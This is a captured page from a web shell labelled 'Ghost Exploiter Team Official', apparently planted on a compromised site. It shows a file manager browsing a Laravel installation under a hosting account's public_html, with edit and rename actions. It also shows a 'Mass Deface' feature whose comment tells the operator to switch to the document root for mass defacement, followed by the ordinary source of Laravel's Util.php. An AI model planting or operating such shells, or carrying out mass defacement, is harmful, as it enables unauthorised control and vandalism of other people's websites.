webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
laravel
/
framework
/
src
/
Illuminate
/
Container
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
BoundMethod.php
6.944KB
edt
ren
Container.php
40.295KB
edt
ren
ContextualBindingBuilde
...
2.289KB
edt
ren
EntryNotFoundException.php
0.193KB
edt
ren
LICENSE.md
1.05KB
edt
ren
RewindableGenerator.php
1.103KB
edt
ren
Util.php
1.646KB
edt
ren
composer.json
0.883KB
edt
ren
<?php namespace Illuminate\Container; use Closure; use ReflectionNamedType; /** * @internal */ class Util { /** * If the given value is not an array and not null, wrap it in one. * * From Arr::wrap() in Illuminate\Support. * * @param mixed $value * @return array */ public static function arrayWrap($value) { if (is_null($value)) { return []; } return is_array($value) ? $value : [$value]; } /** * Return the default value of the given value. * * From global value() helper in Illuminate\Support. * * @param mixed $value * @param mixed ...$args * @return mixed */ public static function unwrapIfClosure($value, ...$args) { return $value instanceof Closure ? $value(...$args) : $value; } /** * Get the class name of the given parameter's type, if possible. * * From Reflector::getParameterClassName() in Illuminate\Support. * * @param \ReflectionParameter $parameter * @return string|null */ public static function getParameterClassName($parameter) { $type = $parameter->getType(); if (! $type instanceof ReflectionNamedType || $type->isBuiltin()) { return null; } $name = $type->getName(); if (! is_null($class = $parameter->getDeclaringClass())) { if ($name === 'self') { return $class->getName(); } if ($name === 'parent' && $parent = $class->getParentClass()) { return $parent->getName(); } } return $name; } }